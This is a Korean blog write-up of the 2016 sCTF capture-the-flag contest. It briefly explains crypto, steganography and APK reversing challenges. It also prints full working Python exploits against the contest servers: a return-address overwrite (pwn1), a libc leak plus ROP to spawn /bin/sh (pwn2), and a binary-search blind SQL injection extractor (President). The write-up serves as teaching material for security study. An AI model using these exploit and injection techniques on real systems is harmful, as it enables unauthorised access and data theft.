2016 sCTF Write-up

CTF/Write-up 2016. 4. 17. 00:29






혼자 참가했습니다.

팀명은 "Ar@Kor" 였고, 주말에 한시간쯤 잡고 평일에 조금씩 잡고 풀었습니다.

한국에서 참가한 다른 팀들은 놀면서 풀었는지 좀 밑에 있어서 놀랐습니다.


저걸 다 쓰기에는 양도 많고, 재미없는 문제들도 몇개 있어서 재밌었던거라던가, 올릴만한것만 올리겠습니다.

안올릴 문제들은 간단하게 설명만 하겠습니다.




When in Rome


그냥 엄청 간단한 Caesar Cipher 암호입니다.

Caesar Cipher Decoder/Decrypt 등으로 검색해서 돌리면 풀립니다.

Caesar 암호는 보안 공부하기 시작하고 직후에 배운 암호라 기억에 많이 남아있네요.




Banana Boy


스테가노그래피 문제였던걸로 기억합니다.

헥스에디터로 열어보면 뒷부분에 이미지 파일이 있고, 열어보면 키가 있었습니다.




rev1


말할 필요가 있나요.

그냥 키가 하드코딩되어있었습니다.




Ducks


source.php 에 들어가면 소스가 보이는 것을 알 수 있습니다.

이것을 보면 인자로 특정 값을 더 받는데, 그 인자는 form에 포함되어 있지 않기 때문에 해당 인자를 포함시켜줘야 합니다.

이 인자와 원래 들어가는 인자가 같을 경우 통과되기 때문에 같은 값을 넣어주면 됩니다.

저는 Fiddler를 이용해서 인자 부분을  pass=123&thepassword_123=123 형식으로 입력하고 보내서 플래그를 얻었습니다.




rev2


rev1이랑 크게 다를바가 없습니다.

하드코딩되어있는데, 리틀엔디안 방식으로 보이게 되어있기 때문에 IDA에서 4글자씩 문자열로 변환한 뒤

엔디안에 맞춰서 배열해주면 그것이 플래그입니다.




Lengthy Lingo


파일을 열어보면 뭔가 랜덤한 정수들이 나열되어 있고, ',' 로 각각이 구분되어 있습니다.

처음에는 조금 헤메었는데, ',' 로 나눈 후 각각의 길이를 재 보니 전부 ASCII 값이어서 이거다 싶어서 파이썬으로 코드를 짜서 돌렸습니다.

결국 제목의 Length라는 문자열이 힌트였던 셈이었습니다.

코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
= open('encrypted.dat''r')
data = f.read()
f.close()
data = data.split(', ')
 
req = ""
for i in data:
    req += chr(len(i))
print req
cs





Secure Text Saver


APK 리버싱 문제였습니다.

해당 jar 파일 내부에는 Account.class와 Login_Page.class가 있는데, 이 중 Login_Page.class 를 디컴파일하여 확인해 보면,


이런 부분이 있고, 이게 ID와 Password인 것을 알 수 있습니다.

그대로 입력하면 플래그가 등장합니다.




Cookies


마찬가지로 APK 리버싱 문제입니다.

이를 디컴파일하여 내부를 살펴 보면

이런 루틴이 있습니다.

md5한 값이 저 값이 되어야 하므로, 이를 hashkiller 등에서 찾아 보면 'thisisaverystrongpassword' 라는 문자열임을 알 수 있습니다.

이를 입력하면 플래그가 들어 있던 창이 나타납니다.




pwn1


32비트 포너블 문제입니다.

Demon으로 서비스가 작동하고 있었고, C++로 짜여 있었습니다.

코드는 매우 심플했습니다.



처음엔 이걸 보고 C++인걸 알고 엄청 질려버려서 바로 닫아버렸는데, 나중에 잡고 보니 매우 쉬운 문제였습니다.

우선 fgets로 s라는 stack 기반 char형 배열에 32글자를 받아옵니다.

여기만으로는 오버플로우가 불가능하지만,


이후 이를 std::string에 담아서 'I'라는 문자열을 'you'라는 문자열로 바꿉니다.

이후 c_str을 이용해 std::string이었던 string형을 다시 s에 복사합니다.

이로 인해 한 글자였던 'I'가 세 글자인 'you'로 바뀌게 되어 return address를 덮어쓸수 있게 됩니다.


여기서 고생해버린게, 그냥 문자열 목록을 보니 "cat flag.txt" 가 보이고 system 함수가 있길래

이를 이용해서 RTL로 풀려고 했었는데, 이상하게 한 글자정도가 부족하여 실행이 되지 않았습니다.

몇 시간동안 삽질을 하다 다시 함수 목록을 확인해 보니, get_flag라고 하는 함수가 있었고, 이 내부에서는

system("cat flag.txt") 를 실행해주고 있었습니다.

따라서 return address를 이 함수의 주소로 넣어주는 것으로 플래그를 얻을 수 있었습니다.


페이로드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hackutil import *
from socket import *
from telnetlib import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1337
 
command = 0x080497F0
system_plt = 0x08048C40
system_got = 0x0804B028
printf = 0x0804B060
 
target = 0x08048F0D
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
payload = "I"*21 + "A" + p32(target)
 
print len(payload)
 
sock.send(payload+'\n')
 
= Telnet()
t.sock = sock
t.interact()
cs




pwn2


이게 오히려 pwn1보다 더 시간이 덜 걸렸습니다.


코드도 심플합니다.

입력할 길이를 확인해서 32 이하일 경우에만 해당 길이만큼 문자열을 입력받게 해주는데,

-1 등 음수를 입력하면 unsigned로 바꾸었을 때, 매우 큰 숫자가 되므로 이를 이용해 char형 배열인 nptr을 오버플로우 할 수 있습니다.

이후는 간단한 ROP입니다.


코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from hackutil import *
from socket import *
from telnetlib import *
from time import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1338
printf_plt = 0x08048370
libc_main_got = 0x0804A018
setvbuf_got = 0x804A01C
vuln = 0x0804852F
offset_libc_main_system = 0x19990 - 0x40190
offset_libc_main_binsh = 0x19990 - 0x160A24
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
# libc_main Leak
 
print sock.recv(1024)
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(printf_plt) + p32(vuln) + p32(libc_main_got)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
data = sock.recv(1024)
 
libc_main_lib = up32(data[:4])[0]
print "[*] Find libc_main_lib : " + str(hex(libc_main_lib))
 
system_lib = libc_main_lib - offset_libc_main_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
binsh = libc_main_lib - offset_libc_main_binsh
print "[*] Find /bin/sh : " + str(hex(binsh))
 
# Attack
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(system_lib) + 'AAAA' + p32(binsh)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs





Verticode, Vertinet


이 둘은 매우 비슷한 문제였기 때문에 함께 쓰겠습니다.

verticode는 매우 긴 이미지 파일을 하나 주고, 이 안에 들어 있는 색과 흑백값을 이용해 ASCII로 변환하는 문제였습니다.

한 줄당 하나의 색과 총 8개의 흑백값이 주어졌으며 이를 분석하기 위해 python image library를 사용하였습니다.

vertinet은 verticode와 같은 형식이지만, 특정 포트로 접속하여 이미지 소스를 받은 후 이를 Base64 decode하여 이미지 파일로 저장하고,

해독 후 다시 서버로 응답하는 과정을 (정확히는 기억이 잘 안나지만) 60회정도 반복하면 플래그를 보내주는 문제였습니다.

둘 모두 소스를 올리도록 하겠습니다.


<verticode>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from PIL import Image
 
# 84 * 12 = Color  +  12 * 12 * 8 = Code
# 0 RED     : 255 0 0
# 1 Purple     : 128 0 128
# 2 Blue    : 0 0 255
# 3 Green    : 0 128 0
# 4 Yellow    : 255 255 0
# 5 Orange    : 255 165 0
 
flag = ""
 
im = Image.open('code1.png')
width, height = im.size
print "width : %d, height : %d" % (width, height)
 
rgb_im = im.convert('RGB')
 
for i in range(01290012):
    r, g, b = rgb_im.getpixel((1, i+1))
    #print r, g, b # GET COLOR
    color_store = str(r)+"."+str(g)+"."+str(b)
 
 
    code_store = ""
    for j in range(8416812):
        r, g, b = rgb_im.getpixel((j+1, i+1))
        if r==255 and g==255 and b==255:
            code_store += "0"
        else:
            code_store += "1"
    #print code_store
 
    code = int(code_store, 2)
    if color_store == "255.0.0":
        pass
    elif color_store == "128.0.128":
        code -= 1
    elif color_store == "0.0.255":
        code -= 2
    elif color_store == "0.128.0":
        code -= 3
    elif color_store == "255.255.0":
        code -= 4
    elif color_store == "255.165.0":
        code -= 5
    else:
        print "[Error] " + color_store
    print chr(code)
    flag += chr(code)
print "[*] Find : "+flag
cs



<vertinet>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from socket import *
from base64 import *
from PIL import Image
import httplib
 
HOST = 'problems1.2016q1.sctf.io'
PORT = 50000
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
while(True):
    try:
        data = sock.recv(10000)
        if "base64" not in data:
            break
        data = data[data.find('base64,')+7:data.find("'></img><br>")]
 
        f = open('tmp.png''wb')
        f.write(b64decode(data))
        f.close()
 
        print "[*] Image Saved"
 
        flag = ""
 
        im = Image.open('tmp.png')
        width, height = im.size
        print "width : %d, height : %d" % (width, height)
 
        rgb_im = im.convert('RGB')
 
        for i in range(0, height, 12):
            r, g, b = rgb_im.getpixel((1, i+1))
            #print r, g, b # GET COLOR
            color_store = str(r)+"."+str(g)+"."+str(b)
 
 
            code_store = ""
            for j in range(8416812):
                r, g, b = rgb_im.getpixel((j+1, i+1))
                if r==255 and g==255 and b==255:
                    code_store += "0"
                else:
                    code_store += "1"
            #print code_store
 
            code = int(code_store, 2)
            if color_store == "255.0.0":
                pass
            elif color_store == "128.0.128":
                code -= 1
            elif color_store == "0.0.255":
                code -= 2
            elif color_store == "0.128.0":
                code -= 3
            elif color_store == "255.255.0":
                code -= 4
            elif color_store == "255.165.0":
                code -= 5
            else:
                print "[Error] " + color_store
            flag += chr(code)
        print "[*] Find : "+flag
 
        sock.send(flag)
    except:
        print data
print data
cs




President


간단한 웹 문제였는데 푸는데 삽질을 해버려서 시간이 좀 오래걸렸습니다.

페이지에 들어가면 대통령 후보인지는 잘 모르겠지만 어쨌든 다섯 명쯩 되는 사진이 있고

검색할 수 있는 form이 하나 있는 것을 볼 수 있습니다.

대충 넣어보기만 해도 SQL Injection 취약점이 있는 것을 알 수 있었고, 이를 이용해 Blind SQL Injection을 진행했습니다.

이걸로 키만 바로 뽑으면 되는데 comment에 limit 0~3까지 아무 값도 안나오길래 이미지 URL도 뽑고 온갖 value를 다 뽑았었는데

결국 limit 4,1에서인지 5,1에서인지 플래그 값이 등장해서 문제를 허무하게 풀었습니다. 

이번에 이진 탐색으로 BSQLi 소스를 짜게 되는 계기가 되어 이후 문제를 좀 더 빨리 풀 수 있게 되었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import httplib
import urllib
 
#======================= Config ======================
isGET = False
printLog = False
 
PASSWD_LENGTH = 100
TARGET = "president.sctf.michaelz.xyz"
URL = "/"
PORT = 80
SUCCESS = "<td>Hillary</td>"
 
HEADER = {
    "Content-Type":"application/x-www-form-urlencoded",
    "Cookie":"_cfduid=d941155476c769c74216d245c25c99e411460529242"
}
#=====================================================
 
req = ""
checklast = False
 
print "[*] Blind SQL Injection to '"+TARGET+":"+str(PORT)+URL+"' Start"
print "[*] Printing Log : " + str(printLog)
if isGET == True:
    print "[*] HTTP Method : GET"
else:
    print "[*] HTTP Method : POST" 
 
for k in range(56):
    for i in range(24, PASSWD_LENGTH):
        left = 32
        right = 127
        mid = (left+right)/2
        while True:
            conn = httplib.HTTPConnection(TARGET, PORT)
            PARAM = urllib.urlencode({
                #"search":"aaa' or ascii(substr((select table_name from information_schema.tables limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                #"search":"aaa' or ascii(substr((select column_name from information_schema.columns where table_name='candidates' limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                "search":"aaa' or ascii(substr((select comment from candidates limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
            })
            if printLog:
                print "[%d][%d][%d]" % (k, i, mid)
 
            if isGET==True:
                conn.request('GET', URL+"?"+PARAM, "", HEADER)
            else:
                conn.request('POST', URL, PARAM, HEADER)
            res = conn.getresponse().read()
 
            if SUCCESS in res:
                if mid == left:
                    print "[*] Find : "+chr(right)
                    req += chr(right)
                    break
                elif mid == right:
                    print "[*] Find : "+chr(left)
                    req += chr(left)
                    break
                left = mid
                mid = (left+right)/2
                checklast = False
 
            else:
                if mid == left or mid == right:
                    print "[*] Find String : " + req
                    checklast = True
                    break
                right = mid
                mid = (left+right)/2
        if checklast:
            req = ""
            break
 
# table : candidates
 
# The Hacker Anonymous
 
# Flag : sctf{why_do_people_still_make_sites_like_this}
 
cs






################# 후기 ##################


심심해서 참가해 본 대회지만 의외로 풀만한 문제가 엄청 많아서 재밌었습니다.

나중에 다른 사람들과 팀도 짜서 제대로 한번 나가보고 싶네요.

(난민은 웁니다 엉엉)


'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,